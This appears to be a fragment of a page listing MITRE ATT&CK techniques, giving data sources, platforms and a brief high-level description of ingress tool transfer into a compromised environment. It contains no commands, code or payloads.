Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre